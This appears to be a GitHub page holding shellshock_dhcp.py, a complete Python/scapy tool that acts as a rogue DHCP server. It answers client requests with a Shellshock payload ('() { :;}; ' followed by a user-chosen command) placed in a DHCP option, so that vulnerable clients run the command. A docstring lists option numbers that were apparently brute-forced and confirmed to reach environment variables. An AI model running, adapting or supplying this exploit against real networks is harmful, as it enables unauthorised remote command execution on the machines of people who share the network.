-
Notifications
You must be signed in to change notification settings - Fork 1
/
shellshock_dhcp.py
executable file
·183 lines (160 loc) · 8.23 KB
/
shellshock_dhcp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
#! /usr/bin/env python
from scapy.all import *
import struct
import argparse
from functools import partial
import re
from scapy.layers.dhcp import dhcp_request
#
# TODO: (might never get implemented)
# - Retry dhcp_request and graceful exit if unsuccessful
# - Support ipv6
# - Support CIDR notation for subnet masks
# - if --static-data is given and no --gateway detect the own currently used by this machine
# - add logging and -v and -q flags
#
def regex_validator(regex, value):
d = re.search(regex, value)
if d is None:
raise argparse.ArgumentTypeError("Argument must match '%s'" % getattr(regex, "pattern", str(regex)) )
return d.group()
# yeah, i know its a long line for python, but i am not gonna wrap an regex
mac_validator = partial(regex_validator, re.compile('^[0-9a-f]{1,2}[-:]?[0-9a-f]{1,2}[-:]?[0-9a-f]{1,2}[-:]?[0-9a-f]{1,2}[-:]?[0-9a-f]{1,2}[-:]?[0-9a-f]{1,2}$', re.I))
ip_validator = partial(regex_validator, re.compile('^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$', re.I))
def toMAC(strMac):
cmList = strMac.split(":")
hCMList = []
for iter1 in cmList:
hCMList.append(int(iter1, 16))
hMAC = struct.pack('!B', hCMList[0]) + struct.pack('!B', hCMList[1]) + struct.pack('!B', hCMList[2]) + struct.pack('!B', hCMList[3]) + struct.pack('!B', hCMList[4]) + struct.pack('!B', hCMList[5])
return hMAC
# yeah i know it is not nice, but it oes work, so...
fill = lambda v, n, f: f*(max(n-len(v), 0)) + v
def get_CIDR(netmask):
d = "".join(fill(bin(int(x))[2:], 8, "0") for x in netmask.split(".")).find("0")
if d == -1:
return 0 # why the fuck would you do this ?
return d
def detect_dhcp(pkt):
try:
dhcpPkt = pkt[DHCP]
except:
return
if not pkt[DHCP] or pkt[DHCP].options[0][1] not in (1, 3): return
if params.whitelist and pkt[Ether].src not in params.whitelist: return
if params.blacklist and pkt[Ether].src in params.blacklist: return
clientMAC = pkt[Ether].src
if pkt[BOOTP].ciaddr == "0.0.0.0":
ip = ip_generator()
else:
ip = pkt[BOOTP].ciaddr
print "request ip", ip
if pkt[IP].dst == "255.255.255.255":
smac = my_mac
sip = my_ip
else:
smac = pkt[Ether].dst
sip = pkt[IP].dst
#If DHCP Discover then DHCP Offer
if pkt[DHCP].options[0][1] == 1:
tmp = dict(dhcp_settings)
tmp['message-type'] = 'offer'
options = list(tmp.items())
options.append("end")
send_bogus_package(clientMAC, smac, ip, sip, pkt[BOOTP].xid, dhcp_options=options)
print "DHCP DISCOVER packet detected from " + clientMAC, (pkt[IP].src if IP in pkt else "-")
print "-> to", pkt[Ether].dst, (pkt[IP].dst if IP in pkt else "-")
print "Offer", ip, "to", pkt[Ether].src
# Request response
else:
# we just ACK every client REQUEST
tmp = dict(dhcp_settings)
for k, v in ( x for x in pkt[DHCP] if isinstance(x, tuple) and x[0] in ('requested_addr', 'hostname') ):
tmp[k] = v
tmp['message-type'] = 'ack'
options = list(tmp.items())
options.append("end")
# Does it any good to send it multiple times ?
send_bogus_package(clientMAC, smac, ip, sip, pkt[BOOTP].xid, options, count=5)
print "DHCP REQUEST packet detected from " + clientMAC, (pkt[IP].src if IP in pkt else "-")
print "-> to", pkt[Ether].dst, (pkt[IP].dst if IP in pkt else "-")
print "ACK", ip, "for", pkt[Ether].src
def send_bogus_package(client_MAC, sender_mac, assign_ip, my_ip, xid, dhcp_options, count=1):
sendp(
Ether(src=sender_mac, dst="ff:ff:ff:ff:ff:ff")/
IP(src=my_ip, dst="255.255.255.255")/
UDP(sport=67,dport=68)/
BOOTP(
op=2,
yiaddr=assign_ip,
siaddr=dhcp_settings['server_id'],
giaddr=dhcp_settings['router'],
chaddr=toMAC(client_MAC),
xid=xid
)/
DHCP(options=dhcp_options), count=count, iface=params.interface)
if __name__ == '__main__':
"""
Some bruteforced option fields which seem to "accept" strings and get into env vars.
TODO: check what each option is
114 validated (required changes to /etc/dhcp/dhclient.conf to work on my system)
242 validated
80 validated
133
137
83
195
250
224
108
163
174
"""
global params, ack_header, dhcp_settings, ip_generator, my_mac, my_ip
parser = argparse.ArgumentParser()
parser.add_argument('-i', '--interface', required=True, help="Use the given interface for sniffing and sending.")
parser.add_argument('-b', '--blacklist', metavar="MAC", nargs="+", type=mac_validator, default=None, help="Never react to package from given MAC.")
parser.add_argument('-w', '--whitelist', metavar="MAC", nargs="+", type=mac_validator, default=None, help="Only react to packages from given MAC.")
parser.add_argument('-s', '--static-data', action="store_true", help="If given no dhcp request is done to get the settings. If used --gateway and --subnet-mask should be supplied.")
parser.add_argument('--ip', type=ip_validator, help="If given send this IP to the client(s) on DISCOVER.")
parser.add_argument('--dns-server', type=ip_validator, help="If given send this DNS server IP to the client(s) on DISCOVER and REQUEST.")
parser.add_argument('--gateway', type=ip_validator, help="If given send this gateway IP to the client(s) on DISCOVER and REQUEST.")
parser.add_argument('--subnet-mask', type=ip_validator, help="If given send this subnet mask to the client(s) on DISCOVER and REQUEST.")
parser.add_argument('--mac', type=mac_validator, help="Use the given MAC address if not supplied by client. If not given we use the mac from the real server, or a random random one (if --static-data is given)..", default=None)
parser.add_argument('--server-ip', type=ip_validator, help="Use the given IP address if not supplied by client. If not given we use the IP from the real server, or a random random one (if --static-data is given)..", default=None)
parser.add_argument('-l', '--lease', type=int, help="Lease time to use.", default=30)
parser.add_argument('-c', '--command', help="The command to execute on the client machine.", default="/usr/bin/id > /tmp/test_x")
parser.add_argument('-o', '--option', type=int, help="The option flag to use for the payload.", default=114)
params = parser.parse_args()
conf.checkIPaddr = False
conf.iface = params.interface
if not params.static_data:
foo = dhcp_request(params.interface, nofilter=1)
dhcp_settings = dict( x for x in foo[DHCP].fields['options'] if isinstance(x, tuple) )
print "got dhcp settings:", dhcp_settings
if params.server_ip is None: my_ip = foo[IP].src
else: my_ip = params.server_ip
if params.mac is None: my_mac = foo[Ether].src
else: my_mac = params.mac
else:
if not (params.subnet_mask and params.gateway):
print "If --static_data is given you need to supply at least --gateway and --subnet_mask"
exit(1)
dhcp_settings = dict()
if params.server_ip is None: my_ip = RandIP(params.gateway+"/"+str(get_CIDR(params.subnet_mask)))
else: my_ip = params.server_ip
if params.mac is None: my_mac = RandMAC()
else: my_mac = params.mac
dhcp_settings['server_id'] = my_ip
if params.dns_server is not None: dhcp_settings['name_server'] = params.dns_server
if params.subnet_mask is not None: dhcp_settings['subnet_mask'] = params.subnet_mask
if params.gateway is not None: dhcp_settings['router'] = params.gateway
dhcp_settings[params.option] = "() { :;}; " + params.command
dhcp_settings['lease_time'] = params.lease
dhcp_settings['renewal_time'] = params.lease
subnet_CIDR = get_CIDR(dhcp_settings['subnet_mask'])
if params.ip: ip_generator = lambda: params.ip
else: ip_generator = RandIP(dhcp_settings['router']+"/"+str(subnet_CIDR))._fix
if params.whitelist is not None: params.whitelist = set(params.whitelist)
if params.blacklist is not None: params.blacklist = set(params.blacklist)
sniff(filter="arp or (udp and (port 67 or 68))", prn=detect_dhcp, store=0, iface=params.interface)